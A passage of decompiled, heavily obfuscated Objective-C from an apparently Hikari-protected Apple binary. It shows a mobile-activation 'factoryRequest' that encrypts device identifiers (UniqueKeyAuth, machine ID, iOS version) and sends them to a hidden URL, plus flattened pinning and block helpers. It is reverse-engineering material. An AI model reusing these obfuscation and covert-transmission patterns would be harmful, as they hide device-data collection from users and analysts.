objc_msgSend(v41, "setObject:forKeyedSubscript:", v44, CFSTR("\xF1\xA5\x53\x0D\xE0\x9C\x3E\x1Fq\x854\xB3"));
objc_release(v43);
v45 = HikariFunctionWrapper_1456(&OBJC_CLASS___iOSDevice, "iOSVersion");
v46 = objc_retainAutoreleasedReturnValue(v45);
HikariFunctionWrapper_1458(v41, "setObject:forKeyedSubscript:");
objc_release(v46);
v132 = v18;
objc_msgSend(v41, "setObject:forKeyedSubscript:", v18, CFSTR("W\xF5\xAD\x25\x30\x84\xA4;\xBEaupS"));
v47 = +[iOSDevice UniqueKeyAuth](&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v48 = objc_retainAutoreleasedReturnValue(v47);
v49 = v48;
if ( !v48 )
v49 = &stru_10025B688;
objc_msgSend(v41, "setObject:forKeyedSubscript:", v49, CFSTR("\xF6\xFF\x6F\xD4c\x9E\xBDć\xF6\x99\x77\x56"));
objc_release(v48);
objc_msgSend(
v41,
"setObject:forKeyedSubscript:",
v142,
CFSTR(">\xF5\xFB\x4D\xE7\x99\xB3\xAA\xCF\x3Bo8\xC6\xEC\x89"));
objc_msgSend(v41, "setObject:forKeyedSubscript:", v148, CFSTR("\x84\xB2\v\xC0\x56\xAC "));
objc_msgSend(v41, "setObject:forKeyedSubscript:", v140, CFSTR("C\xE3\x1E\xD3\xF9\xEE\xEC\x31"));
objc_msgSend(
v41,
"setObject:forKeyedSubscript:",
v141,
CFSTR("\xA6\xF1\x06\x74\x02Z\xB5\xEF\x79\x82\x93\xF5\xF6\x50\x56"));
objc_msgSend(
v41,
"setObject:forKeyedSubscript:",
CFSTR("\n'\t7\xB1Kcw\xCF\x54g#D\t\xA1\xC7\xC6k~\xA5L"),
CFSTR("\xD9\x21\x00\xE4\x0D\x07\xA8O"));
v50 = objc_alloc((Class)&OBJC_CLASS___NSData);
v51 = HikariFunctionWrapper_1460(v50, "initWithBase64EncodedString:options:");
objc_msgSend(
v41,
"setObject:forKeyedSubscript:",
v51,
CFSTR("\x85\x85\xF0\x29\x49\x80\a\xB5\xA3\xA3\xF0\xAD\x69\xA0 \xB5׃"));
objc_release(v51);
v52 = (void **)v134;
*(_QWORD *)v134 = 0;
v130 = v41;
v53 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v41,
100,
0,
v52);
v54 = objc_retainAutoreleasedReturnValue(v53);
v55 = *v52;
objc_retain(v55);
v125 = v55;
v144 = v54;
if ( v54 != 0 && v55 == 0 )
{
v64 = encryptMyData(v144);
md = (unsigned __int8 *)objc_retainAutoreleasedReturnValue(v64);
v65 = objc_msgSend(md, "dataUsingEncoding:", 4);
v66 = objc_retainAutoreleasedReturnValue(v65);
v153 = v66;
v67 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\xE6\xEC\x1B_\xD2\x53\xF6\xFC\xED\x80.X)n%3\x10\xB76\xBEk/J\xE8\x32\xEF\xDF\xC6\xB0&\xF2\x17\xEE\x4D\xFC˸\xA5\xC2\xF2r\x80\xD1\x2E\x8ELs\x84\xE1\xD49\xBF+\x17t\xF4\x8C\x66\xDD\xE8\xCD\x06\xCC\xD2EҰ\x98\xE1\xCE\x54\x15"));
v134 = objc_retainAutoreleasedReturnValue(v67);
v68 = +[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:", v134);
v69 = objc_retainAutoreleasedReturnValue(v68);
HikariFunctionWrapper_1464(v69, "setHTTPMethod:");
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v69,
"setValue:forHTTPHeaderField:",
CFSTR("\xA5\x81\xBD\x86\xCA\xCAXo\xF8y\xB2j\x1D\xED\xF3\x72"),
CFSTR("\x8D9\x1A}5~%5\xEF\xE8\x21\nT"));
v70 = objc_msgSend(v66, "length");
v71 = +[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("\xD6\x43"), v70);
v72 = objc_retainAutoreleasedReturnValue(v71);
HikariFunctionWrapper_1466(v69, "setValue:forHTTPHeaderField:");
objc_release(v72);
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v69,
"setValue:forHTTPHeaderField:",
v148,
CFSTR("\r\x9Eh\xC4\x05\xB2B\xC7\x09\xB6\x89Sg\xCD\xCDY"));
v73 = objc_msgSend(v154[0], "getMachineID");
v74 = objc_retainAutoreleasedReturnValue(v73);
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v69,
"setValue:forHTTPHeaderField:",
v74,
CFSTR("\x91IHS\x9B\xC6\xE4F\xB3\x1D"));
objc_release(v74);
HikariFunctionWrapper_1468(v69, "setValue:forHTTPHeaderField:");
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v69,
"setValue:forHTTPHeaderField:",
CFSTR("_\xE6\x46\xF1#\xF2\x1B\xE7\xEE,\xFCe\x13\xA7\x95/n\xAC;T҆\xC6\x237\x11\xA4ˆ\xA7cG\xFA\x98ܲV@\x9D\xB5\x02\xBD_\xBE\xED\x70\xB8\f\x17\xB6"),
CFSTR("U\xF5\x2F\xB4\x5Ej\xC8\xFF\x92O\xBA"));
HikariFunctionWrapper_1470(v69, "setHTTPBody:");
v75 = +[NSURLSessionConfiguration ephemeralSessionConfiguration](
&OBJC_CLASS___NSURLSessionConfiguration,
"ephemeralSessionConfiguration");
v76 = objc_retainAutoreleasedReturnValue(v75);
v77 = +[NSURLSession sessionWithConfiguration:](&OBJC_CLASS___NSURLSession, "sessionWithConfiguration:", v76);
v78 = objc_retainAutoreleasedReturnValue(v77);
v127 = v76;
v145 = v69;
v79 = block;
v80 = v78;
v81 = -[NSURLSession delegate](v78, "delegate");
v82 = objc_retainAutoreleasedReturnValue(v81);
*v79 = _NSConcreteGlobalBlock;
v79[1] = 3498049536LL;
v79[2] = __60__NSObject_MobileActivationRequests__factoryRequest_device___block_invoke;
v79[3] = &__block_descriptor_40_e5_v8__0ls32l8;
v146 = v80;
v83 = v147;
objc_retain(v82);
v79[4] = v82;
v128 = v82;
if ( factoryRequest_device__onceToken != -1 )
{
HikariFunctionWrapper_1472(&factoryRequest_device__onceToken, v79);
v83 = v147;
}
v84 = v152;
*v83 = 0;
v83[1] = v83;
v83[2] = 0x3032000000LL;
v83[3] = __Block_byref_object_copy__0;
*v84 = 0;
v84[1] = v84;
v84[2] = 0x3032000000LL;
v84[3] = __Block_byref_object_copy__0;
v83[4] = __Block_byref_object_dispose__0;
v83[5] = 0;
v84[4] = __Block_byref_object_dispose__0;
v84[5] = 0;
v85 = v151;
v86 = v136;
*(_QWORD *)v151 = 0;
v85[1] = v85;
v85[2] = 0x2020000000LL;
v85[3] = -1;
v87 = dispatch_semaphore_create(0);
*v86 = _NSConcreteStackBlock;
v86[1] = 3254779904LL;
v154[0] = v87;
v88 = v152;
v89 = v151;
v90 = v136;
v91 = v87;
v136[2] = __60__NSObject_MobileActivationRequests__factoryRequest_device___block_invoke_160;
v90[3] = &__block_descriptor_64_e8_32s40r48r56r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v90[5] = v147;
v90[6] = v88;
v90[7] = v89;
objc_retain(v87);
v90[4] = v91;
v92 = (id *)v147;
v93 = HikariFunctionWrapper_1474(v146, "dataTaskWithRequest:completionHandler:");
v94 = objc_retainAutoreleasedReturnValue(v93);
v95 = &stru_10025B688;
v96 = (__CFString **)v150;
v97 = v120;
v98 = v94;
HikariFunctionWrapper_1476(v94, "resume");
v99 = HikariFunctionWrapper_1478(0, 30000000000LL);
dispatch_semaphore_wait((dispatch_semaphore_t)v154[0], v99);
v100 = 19860093;
if ( *((_QWORD *)v92[1] + 5) )
{
v101 = HikariFunctionWrapper_1480((objc_class *)&OBJC_CLASS___NSString);
v95 = (__CFString *)HikariFunctionWrapper_1482(v101, "initWithData:encoding:");
}
v102 = *(void **)(*((_QWORD *)v152 + 1) + 40LL);
if ( v102 || (v100 = 3595917536LL, !*((_QWORD *)v92[1] + 5)) )
{
*v97 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
v103 = objc_msgSend(v102, "localizedDescription", v100);
v104 = (__CFString *)objc_retainAutoreleasedReturnValue(v103);
v105 = v104;
if ( !v104 )
v105 = CFSTR("\x89\x9CNc\b\xE1\x74\x19b\x9D\xB1ǐ\xF5\xD6\xA6\x0E");
*v96 = v105;
v97[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v96[1] = CFSTR("j)_\xB4CZ");
v112 = HikariFunctionWrapper_1484(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:");
v150 = (NSDictionary *)objc_retainAutoreleasedReturnValue(v112);
objc_release(v104);
v113 = v98;
v114 = (id *)v147;
}
else
{
v106 = v121;
v107 = v122;
v108 = v123;
v109 = v124;
if ( *(_QWORD *)(*((_QWORD *)v151 + 1) + 24LL) == 200 )
{
v110 = CFSTR("\x9C~\a\x97\xAC\vW\xAAMGV'\xAF\x18O");
if ( v95 )
v110 = v95;
*v124 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v108 = v110;
v109[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v108[1] = CFSTR("\x8C\xBC\x97\xFA\x03\xA4j");
v111 = HikariFunctionWrapper_1486(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:");
v114 = v92;
v150 = (NSDictionary *)objc_retainAutoreleasedReturnValue(v111);
}
else
{
*v122 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v106 = v95;
v107[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v106[1] = CFSTR("j)_\xB4CZ");
v115 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v106,
v107,
2,
v108);
v150 = objc_retainAutoreleasedReturnValue(v115);
v114 = v92;
}
v113 = v98;
}
v129 = v95;
v116 = (id *)v152;
objc_release(v129);
objc_release(v113);
objc_release(v136[4]);
objc_release(v154[0]);
_Block_object_dispose(v151, 8);
_Block_object_dispose(v116, 8);
objc_release(v116[5]);
_Block_object_dispose(v114, 8);
objc_release(v114[5]);
objc_release(*((id *)block + 4));
objc_release(v128);
objc_release(v146);
objc_release(v127);
objc_release(v145);
objc_release(v134);
objc_release(v153);
objc_release(md);
}
else
{
v59 = v145;
v60 = v146;
*(_QWORD *)v146 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v59 = CFSTR("\xA2\x80\x82\xE3\x46\x99\x05\xBE\xE1\xD8\xF9\xF0\xA5\xB5\xE3F,c\xBDd]A\x83\xDF\x5Bl\x9A\x93");
v60[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v59[1] = CFSTR("j)_\xB4CZ");
v61 = HikariFunctionWrapper_1462(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:");
v150 = (NSDictionary *)objc_retainAutoreleasedReturnValue(v61);
}
v62 = v130;
v63 = v139;
objc_release(v144);
objc_release(v62);
objc_release(v141);
objc_release(v140);
objc_release(v137);
objc_release(v126);
objc_release(v133);
objc_release(v148);
objc_release(v138);
objc_release(v142);
objc_release(v132);
objc_release(v63);
v6 = v149;
v14 = v125;
}
else
{
v56 = v139;
*(_QWORD *)v139 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
v57 = v153;
*(_QWORD *)v153 = CFSTR("7&ZʦY\xED\x7B\x55W \xA8O\x05\xC3\x23\xB9\xDF\xCB\x83\xBA\v\x1D+\xFA\x00zα\x8Cd\x84\x90\x18^\x0E");
v56[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v57[1] = CFSTR("j)_\xB4CZ");
v58 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v57,
v56,
2);
v150 = objc_retainAutoreleasedReturnValue(v58);
}
objc_release(v135);
objc_release(v14);
v10 = v150;
}
else
{
v7 = v137;
v8 = v138;
*(_QWORD *)v138 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v7 = CFSTR("\x13\x9Cv\xE2\x5E\x73\x9D\xFC\xC5\x4B\x97#\x9D\xB9O\xF6\x39\x70\x67\xBA\xB6\xE8\x11\x91");
v8[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v7[1] = CFSTR("j)_\xB4CZ");
v9 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v7,
v8,
2);
v10 = objc_retainAutoreleasedReturnValue(v9);
v6 = v149;
}
objc_release(v6);
objc_autoreleaseReturnValue(v10);
return v10;
}
// 1000A2ED8: variable 'v100' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100273FA0: using guessed type __CFString stru_100273FA0;
// 100273FE0: using guessed type __CFString cfstr_U_5;
// 100274060: using guessed type __CFString stru_100274060;
// 1002740A0: using guessed type __CFString stru_1002740A0;
// 1002740E0: using guessed type __CFString stru_1002740E0;
// 100274120: using guessed type __CFString stru_100274120;
// 1002741A0: using guessed type __CFString stru_1002741A0;
// 1002741E0: using guessed type __CFString stru_1002741E0;
// 100274220: using guessed type __CFString stru_100274220;
// 100274260: using guessed type __CFString stru_100274260;
// 1002742A0: using guessed type __CFString stru_1002742A0;
// 100274320: using guessed type __CFString stru_100274320;
// 100274360: using guessed type __CFString stru_100274360;
// 1002743A0: using guessed type __CFString stru_1002743A0;
// 1002743E0: using guessed type __CFString stru_1002743E0;
// 100274420: using guessed type __CFString stru_100274420;
// 100274460: using guessed type __CFString cfstr_W_5;
// 1002744A0: using guessed type __CFString stru_1002744A0;
// 1002744E0: using guessed type __CFString stru_1002744E0;
// 100274560: using guessed type __CFString stru_100274560;
// 1002745A0: using guessed type __CFString cfstr_Vv;
// 1002745E0: using guessed type __CFString cfstr_7;
// 100274620: using guessed type __CFString stru_100274620;
// 100274660: using guessed type __CFString cfstr_7ZY;
// 1002746A0: using guessed type __CFString stru_1002746A0;
// 1002746E0: using guessed type __CFString cfstr_L3;
// 100274720: using guessed type __CFString cfstr_C_8;
// 100274760: using guessed type __CFString cfstr_J_6;
// 1002747E0: using guessed type __CFString stru_1002747E0;
// 100274820: using guessed type __CFString stru_100274820;
// 100274860: using guessed type __CFString stru_100274860;
// 1002748A0: using guessed type __CFString stru_1002748A0;
// 10029F478: using guessed type int dword_10029F478;
//----- (00000001000A3721) ----------------------------------------------------
__int64 __fastcall __60__NSObject_MobileActivationRequests__factoryRequest_device___block_invoke(__int64 a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
objc_class *v7; // rax
bool v8; // zf
int v9; // ecx
objc_class *cls; // [rsp+8h] [rbp-48h]
int v11; // [rsp+14h] [rbp-3Ch]
int v12; // [rsp+18h] [rbp-38h] BYREF
bool v13; // [rsp+1Eh] [rbp-32h]
char v14; // [rsp+1Fh] [rbp-31h]
int *v15; // [rsp+20h] [rbp-30h]
v12 = -1376199155;
v15 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 <= 432774528 )
break;
if ( v12 > 1195436406 )
{
if ( v12 > 1499756342 )
{
if ( v12 > 1735181104 )
{
if ( v12 == 1735181105 )
{
v5 = 0;
v3 = -1587985545;
v6 = 1581497203;
goto LABEL_84;
}
if ( v12 == 1811400606 )
*v15 = 1499756343;
}
else
{
if ( v12 == 1499756343 )
{
v5 = 1;
v3 = 1499756343;
v6 = -1518633424;
goto LABEL_84;
}
if ( v12 == 1581497203 )
{
byte_1002748C9 = 58;
byte_1002748CA = 64;
byte_1002748CB = 64;
byte_1002748CC = 63;
byte_1002748CD = 0;
*v15 = -1587985545;
}
}
}
else if ( v12 > 1287925035 )
{
if ( v12 == 1287925036 )
{
v5 = 0;
v11 = dword_10029F47C;
v3 = -1844274940;
LABEL_82:
v6 = 493331874;
goto LABEL_84;
}
if ( v12 == 1354291361 )
{
dword_10029F47C = 1;
HikariFunctionWrapper_1522(*(void **)(a1 + 32), "class");
*v15 = -285710457;
}
}
else
{
if ( v12 == 1195436407 )
{
byte_1002748C8 = v14 ^ 0x67;
v3 = -644687117;
goto LABEL_90;
}
if ( v12 == 1236024832 )
{
v2 = 1;
v3 = -285710457;
v4 = 1354291361;
goto LABEL_88;
}
}
}
else if ( v12 > 789278802 )
{
if ( v12 > 801010601 )
{
if ( v12 == 801010602 )
{
types = 118;
LABEL_74:
*v15 = 1054678375;
}
else if ( v12 == 1054678375 )
{
types = 118;
v14 = 39;
v3 = -325664486;
goto LABEL_90;
}
}
else if ( v12 == 789278803 )
{
byte_1002748C8 = v14 ^ 0x67;
*v15 = 1195436407;
}
else if ( v12 == 791998767 )
{
*v15 = 512017971;
}
}
else if ( v12 > 512017970 )
{
if ( v12 == 512017971 )
{
v13 = v11 == 0;
*v15 = -1327327825;
}
else if ( v12 == 579495827 )
{
class_addMethod(
cls,
"URLSession:didReceiveChallenge:completionHandler:",
(IMP)PinningChallengeHandler,
&types);
*v15 = -868053030;
}
}
else if ( v12 == 432774529 )
{
*v15 = -824093494;
}
else if ( v12 == 493331874 )
{
*v15 = 1287925036;
}
}
if ( v12 > -1175691371 )
break;
if ( v12 > -1500438306 )
{
if ( v12 > -1376199156 )
{
if ( v12 == -1376199155 )
{
v5 = 0;
v3 = 1287925036;
goto LABEL_82;
}
if ( v12 == -1327327825 )
*v15 = 245849018;
}
else
{
if ( v12 == -1500438305 )
goto LABEL_74;
if ( v12 == -1429175212 )
*v15 = 1236024832;
}
}
else if ( v12 > -1587985546 )
{
if ( v12 == -1587985545 )
{
v8 = 0;
byte_1002748C9 = 58;
byte_1002748CA = 64;
byte_1002748CB = 64;
byte_1002748CC = 63;
byte_1002748CD = 0;
v3 = 1581497203;
v9 = -1429175212;
LABEL_78:
if ( !v8 )
v3 = v9;
LABEL_90:
*v15 = v3;
}
else if ( v12 == -1518633424 )
{
v8 = !v13;
v3 = 1236024832;
v9 = -1500438305;
goto LABEL_78;
}
}
else if ( v12 == -1844274940 )
{
*v15 = -1705945453;
}
else if ( v12 == -1705945453 )
{
v5 = 1;
v3 = 791998767;
v6 = 512017971;
goto LABEL_84;
}
}
if ( v12 > -325664487 )
break;
if ( v12 > -824093495 )
{
if ( v12 == -824093494 )
{
v2 = 0;
v3 = 579495827;
v4 = -868053030;
LABEL_88:
if ( !v2 )
v3 = v4;
goto LABEL_90;
}
if ( v12 == -644687117 )
*v15 = 1735181105;
}
else
{
if ( v12 == -1175691370 )
{
v5 = 1;
v3 = 789278803;
v6 = 1195436407;
LABEL_84:
if ( v5 )
v3 = v6;
goto LABEL_90;
}
if ( v12 == -868053030 )
{
HikariFunctionWrapper_1520(
cls,
"URLSession:didReceiveChallenge:completionHandler:",
(id (*)(id, SEL, ...))PinningChallengeHandler,
&types);
v5 = 1;
v3 = 579495827;
v6 = -209837145;
goto LABEL_84;
}
}
}
if ( v12 > -209837146 )
break;
if ( v12 == -325664486 )
{
*v15 = -1175691370;
}
else if ( v12 == -285710457 )
{
dword_10029F47C = 1;
v7 = (objc_class *)objc_msgSend(*(id *)(a1 + 32), "class");
v5 = 1;
cls = v7;
v3 = -285710457;
v6 = 432774529;
goto LABEL_84;
}
}
if ( v12 != -209837145 )
break;
*v15 = -68566475;
}
if ( v12 == 245849018 )
{
v2 = 1;
v3 = 1499756343;
v4 = 1811400606;
goto LABEL_88;
}
}
while ( v12 != -68566475 );
return result;
}
// 1000A3A79: variable 'cls' is possibly undefined
// 1000A3DF4: variable 'v11' is possibly undefined
// 1002748C8: using guessed type char byte_1002748C8;
// 1002748C9: using guessed type char byte_1002748C9;
// 1002748CA: using guessed type char byte_1002748CA;
// 1002748CB: using guessed type char byte_1002748CB;
// 1002748CC: using guessed type char byte_1002748CC;
// 1002748CD: using guessed type char byte_1002748CD;
// 10029F47C: using guessed type int dword_10029F47C;
//----- (00000001000A3FD5) ----------------------------------------------------
__int64 __fastcall __Block_byref_object_copy__0(__int64 a1, __int64 a2)
{
__int64 result; // rax
int v3; // edx
int v4; // [rsp+Ch] [rbp-Ch] BYREF
int *v5; // [rsp+10h] [rbp-8h]
v4 = 1609559875;
v5 = &v4;
result = 2491315123LL;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 <= -276760130 )
{
if ( v4 == -1803652173 )
{
v3 = -121168116;
LABEL_11:
*v5 = v3;
}
else if ( v4 == -1250414180 )
{
v3 = -1803652173;
goto LABEL_11;
}
}
if ( v4 != -276760129 )
break;
*v5 = -1803652173;
}
if ( v4 != 1609559875 )
break;
*(_QWORD *)(a1 + 40) = *(_QWORD *)(a2 + 40);
*(_QWORD *)(a2 + 40) = 0;
*v5 = -1250414180;
}
}
while ( v4 != -121168116 );
return result;
}
//----- (00000001000A40E7) ----------------------------------------------------
__int64 __fastcall __Block_byref_object_dispose__0(__int64 a1)
{
__int64 result; // rax
int v2; // eax
id *v3; // [rsp+8h] [rbp-48h]
id v4; // [rsp+10h] [rbp-40h]
int v5; // [rsp+1Ch] [rbp-34h] BYREF
int *v6; // [rsp+20h] [rbp-30h]
v5 = -1967214775;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v5;
if ( v5 > -402828221 )
break;
if ( v5 > -1529312342 )
{
if ( v5 == -1529312341 )
{
objc_release(v4);
v2 = 1151393187;
LABEL_20:
*v6 = v2;
}
else if ( v5 == -1256449395 )
{
v3 = (id *)(a1 + 40);
v2 = -402828220;
goto LABEL_20;
}
}
else
{
if ( v5 == -1967214775 )
{
v2 = -1256449395;
goto LABEL_20;
}
if ( v5 == -1767962271 )
{
v4 = *v3;
*v6 = -340170466;
}
}
}
if ( v5 > -56534168 )
break;
if ( v5 == -402828220 )
{
*v6 = -1767962271;
}
else if ( v5 == -340170466 )
{
v2 = -1529312341;
goto LABEL_20;
}
}
if ( v5 != -56534167 )
break;
objc_release(v4);
*v6 = -1529312341;
}
if ( v5 != 530369325 )
break;
*v6 = -1256449395;
}
}
while ( v5 != 1151393187 );
return result;
}
// 1000A427E: conditional instruction was optimized away because %var_38.4==5F85FF5C
// 1000A41BB: variable 'v3' is possibly undefined
// 1000A42A9: variable 'v4' is possibly undefined
//----- (00000001000A42F7) ----------------------------------------------------
__int64 __fastcall __60__NSObject_MobileActivationRequests__factoryRequest_device___block_invoke_160(
__int64 a1,
void *a2,
void *a3,
void *a4)
{
__int64 result; // rax
char v7; // cf
int v8; // eax
int v9; // ecx
__int64 v10; // r14
bool v11; // zf
int v12; // ecx
int v13; // ecx
__int64 v14; // r14
id v15; // rax
const char *v16; // [rsp+0h] [rbp-80h]
id v17; // [rsp+8h] [rbp-78h]
id v18; // [rsp+10h] [rbp-70h]
id v19; // [rsp+18h] [rbp-68h]
__int64 v20; // [rsp+20h] [rbp-60h]
int v21; // [rsp+2Ch] [rbp-54h] BYREF
id *v22; // [rsp+30h] [rbp-50h]
id v23; // [rsp+38h] [rbp-48h]
id v24; // [rsp+40h] [rbp-40h]
bool v25; // [rsp+4Fh] [rbp-31h]
int *v26; // [rsp+50h] [rbp-30h]
objc_retain(a2);
v24 = a3;
objc_retain(a3);
objc_retain(a4);
v22 = (id *)(*(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL) + 40LL);
v23 = a2;
objc_retain(a2);
v17 = *v22;
v21 = -1328140218;
v26 = &v21;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v21;
if ( v21 > -77775097 )
break;
if ( v21 <= -1286558622 )
{
if ( v21 > -1736273487 )
{
switch ( v21 )
{
case -1736273486:
v8 = -1846215256;
goto LABEL_66;
case -1641418069:
v7 = 0;
v8 = -916271789;
v9 = -2095170818;
goto LABEL_59;
case -1328140218:
v7 = 1;
v8 = 851211869;
v9 = -995814784;
goto LABEL_59;
}
}
else
{
switch ( v21 )
{
case -2095170818:
v7 = 0;
v8 = -916271789;
v9 = 845878963;
LABEL_59:
if ( !v7 )
v8 = v9;
goto LABEL_66;
case -2078514988:
v11 = 0;
v8 = 843836808;
v12 = -1046970639;
goto LABEL_54;
case -1846215256:
dispatch_semaphore_signal(*(dispatch_semaphore_t *)(a1 + 32));
v7 = 1;
v8 = -686005604;
v9 = -77775096;
goto LABEL_59;
}
}
}
else if ( v21 <= -995814785 )
{
switch ( v21 )
{
case -1286558621:
*v26 = 799656132;
break;
case -1152612687:
v19 = HikariFunctionWrapper_1524(v24, v16);
v20 = *(_QWORD *)(a1 + 56) + 8LL;
*v26 = -2078514988;
break;
case -1046970639:
*(_QWORD *)(*(_QWORD *)v20 + 24LL) = v19;
v8 = 1114158819;
goto LABEL_66;
}
}
else if ( v21 > -686005605 )
{
if ( v21 == -686005604 )
{
*v26 = 197479009;
}
else if ( v21 == -381069792 )
{
objc_release(v18);
+[NSHTTPURLResponse class](&OBJC_CLASS___NSHTTPURLResponse, "class");
HikariFunctionWrapper_1526(v24, "isKindOfClass:");
*v26 = 509208511;
}
}
else if ( v21 == -995814784 )
{
*v22 = v23;
objc_release(v17);
v14 = *(_QWORD *)(*(_QWORD *)(a1 + 48) + 8LL);
objc_retain(a4);
*(_QWORD *)(v14 + 40) = a4;
*v26 = 851211869;
}
else if ( v21 == -916271789 )
{
*v26 = -2095170818;
}
}
if ( v21 > 806873956 )
break;
if ( v21 > 509208510 )
{
switch ( v21 )
{
case 509208511:
objc_release(v18);
v15 = +[NSHTTPURLResponse class](&OBJC_CLASS___NSHTTPURLResponse, "class");
v25 = (unsigned __int8)objc_msgSend(v24, "isKindOfClass:", v15) == 0;
v13 = 631514622;
goto LABEL_65;
case 631514622:
v11 = !v25;
v8 = 1008769236;
v12 = -1736273486;
LABEL_54:
if ( !v11 )
v8 = v12;
LABEL_66:
*v26 = v8;
break;
case 799656132:
v7 = 1;
v8 = 509208511;
v9 = -381069792;
goto LABEL_59;
}
}
else
{
switch ( v21 )
{
case -77775096:
dispatch_semaphore_signal(*(dispatch_semaphore_t *)(a1 + 32));
*v26 = -1846215256;
break;
case 197479009:
v13 = 806873957;
goto LABEL_65;
case 323868755:
objc_release(a4);
objc_release(v24);
objc_release(v23);
*v26 = 806873957;
break;
}
}
}
if ( v21 <= 1008769235 )
break;
switch ( v21 )
{
case 1008769236:
v16 = "statusCode";
*v26 = -1152612687;
break;
case 1114158819:
*v26 = -1736273486;
break;
case 1140875270:
*v26 = -1641418069;
break;
}
}
if ( v21 > 845878962 )
break;
if ( v21 == 806873957 )
{
objc_release(a4);
objc_release(v24);
objc_release(v23);
v13 = 1140875270;
LABEL_65:
v8 = v13;
goto LABEL_66;
}
if ( v21 == 843836808 )
{
*(_QWORD *)(*(_QWORD *)v20 + 24LL) = v19;
*v26 = -1046970639;
}
}
if ( v21 == 851211869 )
{
*v22 = v23;
objc_release(v17);
v10 = *(_QWORD *)(*(_QWORD *)(a1 + 48) + 8LL);
objc_retain(a4);
v11 = 0;
v18 = *(id *)(v10 + 40);
*(_QWORD *)(v10 + 40) = a4;
v8 = 851211869;
v12 = -1286558621;
goto LABEL_54;
}
}
while ( v21 != 845878963 );
return result;
}
// 1000A43F7: variable 'v19' is possibly undefined
// 1000A43F0: variable 'v20' is possibly undefined
// 1000A4677: variable 'v18' is possibly undefined
// 1000A4A2C: variable 'v16' is possibly undefined
//----- (00000001000A4A7A) ----------------------------------------------------
__int64 __fastcall __copy_helper_block_e8_32s40r48r56r(__int64 a1, __int64 a2)
{
void *v2; // r15
__int64 result; // rax
int v4; // ecx
int v5; // ecx
int v6; // eax
const void **v7; // [rsp+18h] [rbp-58h]
void *v8; // [rsp+20h] [rbp-50h]
const void **v9; // [rsp+28h] [rbp-48h]
void *v10; // [rsp+30h] [rbp-40h]
int v11; // [rsp+3Ch] [rbp-34h] BYREF
int *v12; // [rsp+40h] [rbp-30h]
v11 = -10228422;
v12 = &v11;
v2 = (void *)(a1 + 40);
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v11;
if ( v11 <= -335068818 )
break;
if ( v11 > 1454427954 )
{
switch ( v11 )
{
case 1454427955:
v5 = -1169920231;
LABEL_25:
v6 = v5;
goto LABEL_29;
case 1926333571:
v4 = 560339336;
goto LABEL_28;
case 1966148859:
HikariFunctionWrapper_1532(v8, *v7, 8);
*v12 = 560339336;
break;
}
}
else
{
switch ( v11 )
{
case -335068817:
objc_retain(*(id *)(a2 + 32));
_Block_object_assign(v2, *(const void **)(a2 + 40), 8);
*v12 = -1675530670;
break;
case -10228422:
v4 = -1675530670;
goto LABEL_28;
case 560339336:
HikariFunctionWrapper_1530(v8, *v7, 8);
v9 = (const void **)(a2 + 56);
v10 = (void *)(a1 + 56);
v4 = -1958163068;
LABEL_28:
v6 = v4;
LABEL_29:
*v12 = v6;
break;
}
}
}
if ( v11 > -1169920232 )
break;
switch ( v11 )
{
case -1958163068:
*v12 = 1454427955;
break;
case -1675530670:
objc_retain(*(id *)(a2 + 32));
HikariFunctionWrapper_1528(v2, *(const void **)(a2 + 40), 8);
